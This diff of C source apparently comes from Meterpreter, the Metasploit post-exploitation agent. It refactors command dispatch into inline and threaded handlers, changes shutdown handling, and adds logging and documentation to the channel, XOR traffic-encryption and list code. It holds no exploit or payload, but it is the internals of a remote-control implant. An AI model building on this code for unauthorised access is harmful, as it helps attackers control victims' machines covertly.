// lengths are sane.
if( command_validate_arguments( command, packet ) != ERROR_SUCCESS )
break;
packetTlvType = packet_get_type( packet );
switch ( packetTlvType )
{
case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.inline_handler) {
dprintf( "[DISPATCH] executing inline request handler %s", command->method );
serverContinue = command->request.inline_handler( remote, packet, &result );
} else {
dprintf( "[DISPATCH] executing request handler %s", command->method );
result = command->request.handler( remote, packet );
}
break;
case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.inline_handler) {
dprintf( "[DISPATCH] executing inline response handler %s", command->method );
serverContinue = command->response.inline_handler( remote, packet, &result );
} else {
dprintf( "[DISPATCH] executing response handler %s", command->method );
result = command->response.handler( remote, packet );
}
break;
}
dprintf("[COMMAND] Calling completion handlers...");
// Get the request identifier if the packet has one.
if ( packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv ) == ERROR_SUCCESS )
requestId = (PCHAR)requestIdTlv.buffer;
// Finally, call completion routines for the provided identifier
if( ((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
packet_call_completion_handlers( remote, packet, requestId );
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf("[COMMAND] Exception hit in command %s", command->method );
}
packet_destroy( packet );
return serverContinue;
}
/*!
* @brief Handle an incoming command.
* @param remote Pointer to the \c Remote instance associated with this command.
* @param packet Pointer to the \c Packet containing the command data.
* @retval TRUE The server can and should continue processing.
* @retval FALSE The server should stop processing and shut down.
* @remark This function was incorporate to help support two things in meterpreter:
* -# A way of allowing a command to be processed directly on the main server
* thread and not on another thread (which in some cases can cause problems).
* -# A cleaner way of shutting down the server so that container processes
* can shutdown cleanly themselves, where appropriate.
*
* This function will look at the command definition and determine if it should
* be executed inline or on a new command thread.
* @sa command_process_inline
* @sa command_process_thread
*/
BOOL command_handle( Remote *remote, Packet *packet )
{
BOOL result = TRUE;
THREAD* cpt = NULL;
Command* command = NULL;
Packet* response = NULL;
do
{
command = command_locate( packet );
if( command == NULL ) {
dprintf( "[DISPATCH] Command not found" );
// We have no matching command for this packet, so it won't get handled. We
// need to send an empty response and clean up here before exiting out.
response = packet_create_response( packet );
packet_transmit_response( ERROR_NOT_SUPPORTED, remote, response );
packet_destroy( packet );
break;
}
if( command_is_inline( command, packet ) ) {
dprintf( "[DISPATCH] Executing inline: %s", command->method );
result = command_process_inline( command, remote, packet );
} else {
dprintf( "[DISPATCH] Executing in thread: %s", command->method );
cpt = thread_create( command_process_thread, remote, packet, command );
if( cpt )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
}
} while(0);
return result;
}
/*!
* @brief Process a single command in a seperate thread of execution.
* @param thread Pointer to the thread to execute.
* @return Result of processing.
* @return Result of thread execution (not the result of the command).
* @sa command_handle
* @sa command_process_thread
*/
DWORD THREADCALL command_process_thread( THREAD * thread )
{
DWORD index = 0;
DWORD result = ERROR_SUCCESS;
Tlv methodTlv = {0};
Tlv requestIdTlv = {0};
PCHAR method = NULL;
PCHAR requestId = NULL;
Command * current = NULL;
Command * command = NULL;
Remote * remote = NULL;
Packet * packet = NULL;
@ -229,11 +372,16 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
if( packet == NULL )
return ERROR_INVALID_DATA;
command = (Command *)thread->parameter3;
if( command == NULL )
return ERROR_INVALID_DATA;
if( commandThreadList == NULL )
{
commandThreadList = list_create();
if( commandThreadList == NULL )
return ERROR_INVALID_HANDLE;
#ifndef _WIN32
pthread_t tid;
pthread_create(&tid, NULL, reap_zombie_thread, NULL);
@ -243,73 +391,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
list_add( commandThreadList, thread );
__try
{
do
{
// Extract the method
result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( result != ERROR_SUCCESS )
break;
dprintf( "[COMMAND] Processing method %s", methodTlv.buffer );
#ifdef _WIN32
// Impersonate the thread token if needed (only on Windows)
if(remote->hServerToken != remote->hThreadToken) {
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError());
}
}
#endif
// Get the request identifier if the packet has one.
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
if( result == ERROR_SUCCESS )
requestId = (PCHAR)requestIdTlv.buffer;
method = (PCHAR)methodTlv.buffer;
result = ERROR_NOT_FOUND;
// Try to find a match in the dispatch type
for( index = 0, result = ERROR_NOT_FOUND ; result == ERROR_NOT_FOUND && commands[index].method ; index++ )
{
if( strcmp( commands[index].method, method ) )
continue;
// Call the base handler
result = command_call_dispatch( &commands[index], remote, packet );
}
// Regardless of error code, try to see if someone has overriden a base handler
for( current = extension_commands, result = ERROR_NOT_FOUND ;
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
{
if( strcmp( current->method, method ) )
continue;
// Call the custom handler
result = command_call_dispatch( current, remote, packet );
}
dprintf("[COMMAND] Calling completion handlers...");
// Finally, call completion routines for the provided identifier
if( ((packet_get_type(packet) == PACKET_TLV_TYPE_RESPONSE) || (packet_get_type(packet) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && (requestId))
packet_call_completion_handlers( remote, packet, requestId );
// If we get here, we're successful.
result = ERROR_SUCCESS;
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf("[COMMAND] Exception hit in command thread 0x%08X!", thread );
}
packet_destroy( packet );
command_process_inline( command, remote, packet );
if( list_remove( commandThreadList, thread ) )
thread_destroy( thread );
@ -317,146 +399,108 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
return ERROR_SUCCESS;
}
/*
* Process a single command
*/
/*
DWORD command_process_remote(Remote *remote, Packet *inPacket)
{
DWORD res = ERROR_SUCCESS, index;
Tlv methodTlv, requestIdTlv;
Packet *localPacket = NULL;
PCHAR method, requestId = NULL;
Command *current;
do
{
// If no packet was providied, try to receive one.
if (!inPacket)
{
if ((res = packet_receive(remote, &localPacket)) != ERROR_SUCCESS)
break;
else
inPacket = localPacket;
}
// Extract the method
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
!= ERROR_SUCCESS))
break;
dprintf("Processing method %s", methodTlv.buffer);
// Get the request identifier if the packet has one.
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
&requestIdTlv) == ERROR_SUCCESS)
requestId = (PCHAR)requestIdTlv.buffer;
method = (PCHAR)methodTlv.buffer;
res = ERROR_NOT_FOUND;
// Try to find a match in the dispatch type
for (index = 0, res = ERROR_NOT_FOUND;
res = ERROR_NOT_FOUND && commands[index].method;
index++)
{
if (strcmp(commands[index].method, method))
continue;
// Call the base handler
res = command_call_dispatch(&commands[index], remote, inPacket);
}
// Regardless of error code, try to see if someone has overriden
// a base handler
for (current = extension_commands, res = ERROR_NOT_FOUND;
res == ERROR_NOT_FOUND && current && current->method;
current = current->next)
{
if (strcmp(current->method, method))
continue;
// Call the custom handler
res = command_call_dispatch(current, remote, inPacket);
}
dprintf("Calling completion handlers...");
// Finally, call completion routines for the provided identifier
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&
(requestId))
packet_call_completion_handlers(remote, inPacket, requestId);
// If we get here, we're successful.
res = ERROR_SUCCESS;
} while (0);
if (localPacket)
packet_destroy(localPacket);
return res;
}*/
/*
* Process incoming commands, calling dispatch tables appropriately
*/
/*
DWORD command_process_remote_loop(Remote *remote)
{
DWORD res = ERROR_SUCCESS;
Packet *packet;
while ((res = packet_receive(remote, &packet)) == ERROR_SUCCESS)
{
res = command_process_remote(remote, packet);
// Destroy the packet
packet_destroy(packet);
// If a command returned exit, we shall return.
if (res == ERROR_INSTALL_USEREXIT)
break;
}
return res;
}
*/
/*!
* @brief Call the dispatch routine for a given command.
* @param command The command to call the dispatch routine on.
* @param remote Pointer to the remote connection.
* @param packet Pointer to the current packet.
* @return Result of the command dispatch handler call.
* @brief Determine if a given command/packet combination should be invoked inline.
* @param command Pointer to the \c Command being invoked.
* @param packet Pointer to the \c Packet being received/sent.
* @returns Boolean indication of whether the command should be executed inline.
* @retval TRUE The command should be executed inline on the current thread.
* @retval FALSE The command should be executed on a new thread.
*/
DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
BOOL command_is_inline( Command *command, Packet *packet )
{
DWORD res;
// Validate the arguments, if requested. Always make sure argument
// lengths are sane.
if ((res = command_validate_arguments(command, packet)) != ERROR_SUCCESS)
return res;
switch (packet_get_type(packet))
switch (packet_get_type( packet ))
{
case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.handler)
res = command->request.handler(remote, packet);
break;
if (command->request.inline_handler)
return TRUE;
case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.handler)
res = command->response.handler(remote, packet);
break;
default:
res = ERROR_NOT_FOUND;
break;
if (command->response.inline_handler)
return TRUE;
}
return res;
return FALSE;
}
/*!
* @brief Attempt to locate a command in the base command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the base command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_base( const char* method )
{
DWORD index;
dprintf( "[COMMAND EXEC] Attempting to locate base command %s", method );
for( index = 0; base_commands[index].method ; ++index )
if( strcmp( base_commands[index].method, method ) == 0 )
return &base_commands[index];
dprintf( "[COMMAND EXEC] Couldn't find base command %s", method );
return NULL;
}
/*!
* @brief Attempt to locate a command in the extensions command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the extensions command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_extension( const char* method )
{
Command* command;
dprintf( "[COMMAND EXEC] Attempting to locate extension command %s", method );
for( command = extension_commands; command; command = command->next )
if( strcmp( command->method, method ) == 0 )
return command;
dprintf( "[COMMAND EXEC] Couldn't find extension command %s", method );
return NULL;
}
/*!
* @brief Attempt to locate a command to execute based on the method.
* @param method String that identifies the command.
* @returns Pointer to the command entry to execute.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
* @remark This function tries to find an extension command first. If
* found it will be returned. If not, the base command list is
* queried. This supports the notion of extensions overloading
* the base commands.
* @sa command_locate_extension
* @sa command_locate_base
*/
Command* command_locate( Packet *packet )
{
Command* command = NULL;
DWORD dwResult;
Tlv methodTlv;
do
{
dwResult = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( dwResult != ERROR_SUCCESS ) {
dprintf( "[COMMAND] Unable to extract method from packet." );
break;
}
// check for an overload first.
command = command_locate_extension( (PCHAR)methodTlv.buffer );
// if no overload, then fallback on base.
if( command == NULL )
command = command_locate_base( (PCHAR)methodTlv.buffer );
} while(0);
return command;
}
/*!

View File

@ -10,6 +10,7 @@
/*! @brief Function pointer type that defines the interface for a dispatch handler. */
typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
typedef BOOL (*INLINE_DISPATCH_ROUTINE)( Remote *remote, Packet *packet, DWORD* result);
/*! @brief Specifies the maximum number of arguments that are checked/handled
* in a request/response packet dispatcher.
@ -24,15 +25,30 @@ typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
#define EMPTY_TLV { 0 }, 0
/*! @brief Helper macro which defines an empty dispatch handler. */
#define EMPTY_DISPATCH_HANDLER NULL, EMPTY_TLV
#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
/*! @brief Helper macro that defines terminator for command lists. */
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
/*! @brief Helper macro that defines a command instance with a request handler only. */
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*! @brief Helper macro that defines a command instance with a response handler only. */
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, EMPTY_TLV } }
/*! @brief Helper macro that defines a command instance with both a request and response handler. */
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, EMPTY_TLV }, { repHandler, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with a request handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with a response handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with both a request and response handler.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with an inline request handler only.
* @remarks The request handler will be executed on the server thread.
*/
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
// Place holders
/*! @deprecated This entity is not used and may be removed in future. */
@ -46,12 +62,21 @@ typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
typedef struct
{
/*! @brief Pointer to the routine that will be called to handle the request/response. */
DISPATCH_ROUTINE handler;
DISPATCH_ROUTINE handler;
/*!
* @brief Pointer to the routine that will be called on the _current thread_.
* @remark If this function is specified then it will be invoked on the current server
* thread rather than having a new thread allocated to it for processing.
* The result of this routine will indicate whether the server should continue.
* If this value is specified (ie. non-NULL) then the \c handler value is ignored.
*/
INLINE_DISPATCH_ROUTINE inline_handler;
/*! @brief Array of types that match the expected arguments for this response/request routine. */
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
/*! @brief The number of entries in the \c argumentTypes array. */
DWORD numArgumentTypes;
DWORD numArgumentTypes;
} PacketDispatcher;
/*!
@ -75,11 +100,6 @@ LINKAGE DWORD command_deregister(Command *command);
LINKAGE VOID command_join_threads( VOID );
LINKAGE DWORD THREADCALL command_process_thread( THREAD * thread );
//LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket);
//LINKAGE DWORD command_process_remote_loop(Remote *remote);
LINKAGE DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet);
LINKAGE DWORD command_validate_arguments(Command *command, Packet *packet);
LINKAGE BOOL command_handle( Remote *remote, Packet *packet );
#endif

View File

@ -1,15 +1,5 @@
#include "common.h"
#ifdef _WIN32
/* it appears extern'd globals screw up the posix build because the linker
* fails to find them and causes metsrv to exit.
* - egypt
*/
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
extern THREAD * serverThread;
#endif
/*
* core_channel_open
* -----------------
@ -31,9 +21,10 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
do
{
dprintf( "[CHANNEL] Opening new channel for packet %p", packet );
// If the channel open request had a specific channel type
if ((channelType = packet_get_tlv_value_string(packet,
TLV_TYPE_CHANNEL_TYPE)))
if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE)))
{
res = ERROR_NOT_FOUND;
break;
@ -42,28 +33,36 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
// Get any flags that were supplied
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
dprintf( "[CHANNEL] Opening %s %u", channelType, flags );
// Allocate a response
response = packet_create_response(packet);
// Did the response allocation fail?
if ((!response) ||
(!(newChannel = channel_create(0, flags))))
if ((!response) || (!(newChannel = channel_create(0, flags))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
dprintf( "[CHANNEL] Opened %s %u", channelType, flags );
// Get the channel class and set it
newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS);
dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls );
// Add the new channel identifier to the response
if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
channel_get_id(newChannel))) != ERROR_SUCCESS)
break;
// Transmit the response
dprintf( "[CHANNEL] Sending response for %s", channelType );
res = packet_transmit(remote, response, NULL);
dprintf( "[CHANNEL] Done" );
} while (0);
return res;
@ -565,9 +564,10 @@ DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet)
NativeChannelOps *native = (NativeChannelOps *)&channel->ops;
// Check to see if this channel has a registered interact handler
if (native->interact)
result = native->interact(channel, packet, native->context,
interact);
dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context );
if (native->interact) {
result = native->interact(channel, packet, native->context, interact);
}
}
// Set the channel's interactive state
@ -615,29 +615,23 @@ DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet)
return ERROR_SUCCESS;
}
/*
* core_shutdown
* -----------------
*
*/
DWORD remote_request_core_shutdown(Remote *remote, Packet *packet)
DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult )
{
Channel *channel = NULL;
Packet *response = packet_create_response(packet);
Packet *response = packet_create_response( packet );
DWORD result = ERROR_SUCCESS;
// Acknowledge the shutdown request
packet_add_tlv_bool(response, TLV_TYPE_BOOL, TRUE);
packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
// Transmit the response
packet_transmit_response(result, remote, response);
packet_transmit_response( result, remote, response );
#ifdef _WIN32
// see note about posix above - egypt
dprintf("[SHUTDOWN] Shutting down the Meterpreter thread 1 (killing the main thread)...");
thread_kill( serverThread );
#endif
return result;
*pResult = result;
return TRUE;
}

View File

@ -159,6 +159,7 @@ VOID channel_destroy(Channel *channel, Packet *request)
lock_destroy( channel->lock );
// Destroy the channel context
dprintf( "[CHANNEL] Free up the channel context 0x%p", channel );
free(channel);
}
@ -445,13 +446,16 @@ DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet,
length);
}
else if ((!strcmp(method, "core_channel_close")) &&
(comp->routine.close))
(comp->routine.close)) {
dprintf( "[CHANNEL] freeing up the completion context" );
res = comp->routine.close(remote, channel, comp->context, result);
}
else if ((!strcmp(method, "core_channel_interact")) &&
(comp->routine.interact))
res = comp->routine.interact(remote, channel, comp->context, result);
// Deallocate the completion context
dprintf( "[CHANNEL] freeing up the completion context" );
free(comp);
return res;

View File

@ -46,9 +46,6 @@ int current_unix_timestamp(void) {
int debugging_enabled;
/*
*/
/*!
* @brief Output a debug string to the debug console.
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed

View File

@ -161,7 +161,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#include <wininet.h>
/*! @brief When defined, debug output is enabled. */
/*! @brief When defined, debug output is enabled on Windows builds. */
//#define DEBUGTRACE 1
#ifdef DEBUGTRACE
@ -171,18 +171,18 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#endif
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; }
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
/*! @brief Close a handle if not already closed and set the handle to NULL. */
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
#ifdef DEBUGTRACE
/*!

View File

@ -1,16 +1,18 @@
/*!
* @file xor.c
* @brief Definitions of functions that perform XOR encryption.
*/
#include "common.h"
#define TLV_TYPE_XOR_KEY \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
0, \
1)
#define TLV_TYPE_XOR_KEY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, 0, 1)
DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
PUCHAR *outBuffer, PULONG outBufferLength);
/*
* Populates the crypto context's handlers for XOR
/*!
* @brief Populates the crypto context's handlers for XOR.
* @param context Pointer to the crypto context to populate.
* @returns Always returns \c ERROR_SUCCESS.
*/
DWORD xor_populate_handlers(CryptoContext *context)
{
@ -22,8 +24,14 @@ DWORD xor_populate_handlers(CryptoContext *context)
return ERROR_SUCCESS;
}
/*
* Processes a negotiate request that has been sent from the remote endpoint
/*!
* @brief Processes a negotiate request that has been sent from the remote endpoint.
* @param context Pointer to the crypto context to use.
* @param request Pointer to the request \c Packet.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS Operation completed successfully.
* @retval ERROR_INVALID_PARAMETER One of the expected TLV parameters was
* missing from the \c request.
*/
DWORD xor_process_negotiate_request(CryptoContext *context,
Packet *request)
@ -49,8 +57,16 @@ DWORD xor_process_negotiate_request(CryptoContext *context,
return res;
}
/*
* Encrypts the supplied buffer
/*!
* @brief Encrypts the supplied buffer using the supplied crypto context.
* @param context Pointer to the crypto context to use for encryption.
* @param inBuffer Buffer to encrypt.
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
* @param outBuffer Pointer that will receive the output buffer.
* @param outBufferLength Pointer that will receive the output buffer length.
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
* @sa xor_crypt
* @sa xor_decrypt
*/
DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
PUCHAR *outBuffer, PULONG outBufferLength)
@ -59,8 +75,17 @@ DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
outBufferLength);
}
/*
* Decrypts the supplied buffer
/*!
* @brief Decrypts the supplied buffer using the supplied crypto context.
* @param context Pointer to the crypto context to use for decryption.
* @param inBuffer Buffer to decrypt.
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
* @param outBuffer Pointer that will receive the output buffer.
* @param outBufferLength Pointer that will receive the output buffer length.
* @returns Indication of success or failure.
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
* @sa xor_crypt
* @sa xor_encrypt
*/
DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
PUCHAR *outBuffer, PULONG outBufferLength)
@ -69,8 +94,19 @@ DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
outBufferLength);
}
/*
* Performs an XOR operation on every 4 byte block of the supplied buffer
/*!
* @brief Performs an XOR operation on every 4 byte block of the supplied buffer.
* @param context Pointer to the crypto context to use for decryption.
* @param inBuffer Buffer to decrypt.
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
* @param outBuffer Pointer that will receive the output buffer.
* @param outBufferLength Pointer that will receive the output buffer length.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS Operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Memory allocation failed.
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
* @sa xor_decrypt
* @sa xor_encrypt
*/
DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
PUCHAR *outBuffer, PULONG outBufferLength)

View File

@ -1,3 +1,7 @@
/*!
* @file xor.h
* @brief Declarations for functions that perform XOR encryption.
*/
#ifndef _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H
#define _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H

View File

@ -1,167 +1,192 @@
/*!
* @file list.c
* @brief Definitions for functions that operate on lists.
* @details An implementation of a simple thread safe double linked list structure. Can be used as either
* a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If
* performing a group of actions on a list based on results from list actions, acquire the list
* lock before the group of actions and release lock when done.
*/
#include "common.h"
/*
* An implementation of a simple thread safe double linked list structure. Can be used as either
* a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If
* performing a group of actions on a list based on results from list actions, acquire the list
* lock before the group of actions and release lock when done.
/*!
* @brief Create a thread-safe double linked list.
* @returns A new instance of a linked list.
* @retval NULL Indicates a memory allocation failure.
*/
/*
* Create a thread safe double linked list.
*/
LIST * list_create( VOID )
LIST * list_create(VOID)
{
LIST * list = (LIST *)malloc( sizeof(LIST) );
if( list != NULL )
LIST * list = (LIST*)malloc(sizeof(LIST));
if (list != NULL)
{
list->start = NULL;
list->end = NULL;
list->end = NULL;
list->count = 0;
list->lock = lock_create();
if( list->lock == NULL )
list->lock = lock_create();
if (list->lock == NULL)
{
list_destroy( list );
list_destroy(list);
return NULL;
}
}
return list;
}
/*
* Destroy an existing linked list. This destroys all nodes and the list itself
* but not the data held in the linked list. This is the responsibility of the
* caller to destroy.
/*!
* @brief Destroy an existing linked list.
* @details This destroys all nodes and the list itself but not the data held in the
* linked list. This is the responsibility of the caller to destroy.
* @param list The \c LIST instance to destroy.
*/
VOID list_destroy( LIST * list )
VOID list_destroy(LIST * list)
{
NODE * current_node;
NODE * next_node;
if( list != NULL )
if (list != NULL)
{
lock_acquire( list->lock );
lock_acquire(list->lock);
current_node = list->start;
while( current_node != NULL )
while (current_node != NULL)
{
next_node = current_node->next;
next_node = current_node->next;
current_node->next = NULL;
current_node->prev = NULL;
free( current_node );
free(current_node);
current_node = next_node;
}
list->count = 0;
lock_release( list->lock );
lock_destroy( list->lock );
lock_release(list->lock);
free( list );
lock_destroy(list->lock);
free(list);
}
}
/*
* Return the number of items in the list. If using this coung value to itterate through the list
* with list_get, acquire the lists lock before the list_count/list_get block and release it afterwards.
/*!
* @brief Get the number of items in the list.
* @param list The \c LIST to get a count of.
* @returns The number of elements in the list.
* @remark If using this coung value to itterate through the list with `list_get`, acquire
* the lists lock before the `list_count/list_get` block and release it afterwards.
*/
DWORD list_count( LIST * list )
DWORD list_count(LIST * list)
{
DWORD count = 0;
if( list != NULL )
if (list != NULL)
{
lock_acquire( list->lock );
lock_acquire(list->lock);
count = list->count;
lock_release( list->lock );
lock_release(list->lock);
}
return count;
}
/*
* Get the data value held in the list and a specified index. This will perform a linear search from
* the begining of the list returning the data value if found or NULL if not found.
/*!
* @brief Get the data value held in the list and a specified index.
* @param list Pointer to the \c LIST to get the element from.
* @param index Index of the element to get;
* @returns Pointer to the item in the list.
* @retval NULL Indicates the element doesn't exist in the list.
* @remark This will perform a linear search from the beginning of the list.
*/
LPVOID list_get( LIST * list, DWORD index )
LPVOID list_get(LIST * list, DWORD index)
{
LPVOID data = NULL;
LPVOID data = NULL;
NODE * current_node = NULL;
if( list == NULL )
if (list == NULL)
return NULL;
lock_acquire( list->lock );
lock_acquire(list->lock);
if( list->count <= index )
if (list->count <= index)
{
lock_release( list->lock );
lock_release(list->lock);
return NULL;
}
current_node = list->start;
while( current_node != NULL )
while (current_node != NULL)
{
if( index == 0 )
if (index == 0)
{
break;
}
current_node = current_node->next;
index--;
}
if( current_node != NULL )
if (current_node != NULL)
{
data = current_node->data;
}
lock_release(list->lock);
lock_release( list->lock );
return data;
}
/*
* Adds a data item onto the end of the list.
/*!
* @brief Add a data item onto the end of the list.
* @param list Pointer to the \c LIST to add the item to.
* @param data The data that is to be added to the list.
* @returns Indication of success or failure.
* @sa list_push
*/
BOOL list_add( LIST * list, LPVOID data )
BOOL list_add(LIST * list, LPVOID data)
{
return list_push( list, data );
return list_push(list, data);
}
/*
* Internal function to remove a node from a list. Assumes caller has aquired the appropriate lock first.
/*!
* @brief Internal function to remove a node from a list.
* @param list Pointer to the \c LIST containing \c node.
* @param node Pointer to the \c NOTE to remove.
* @returns Indication of success or failure.
* @remark Assumes caller has aquired the appropriate lock first.
*/
BOOL list_remove_node( LIST * list, NODE * node )
BOOL list_remove_node(LIST * list, NODE * node)
{
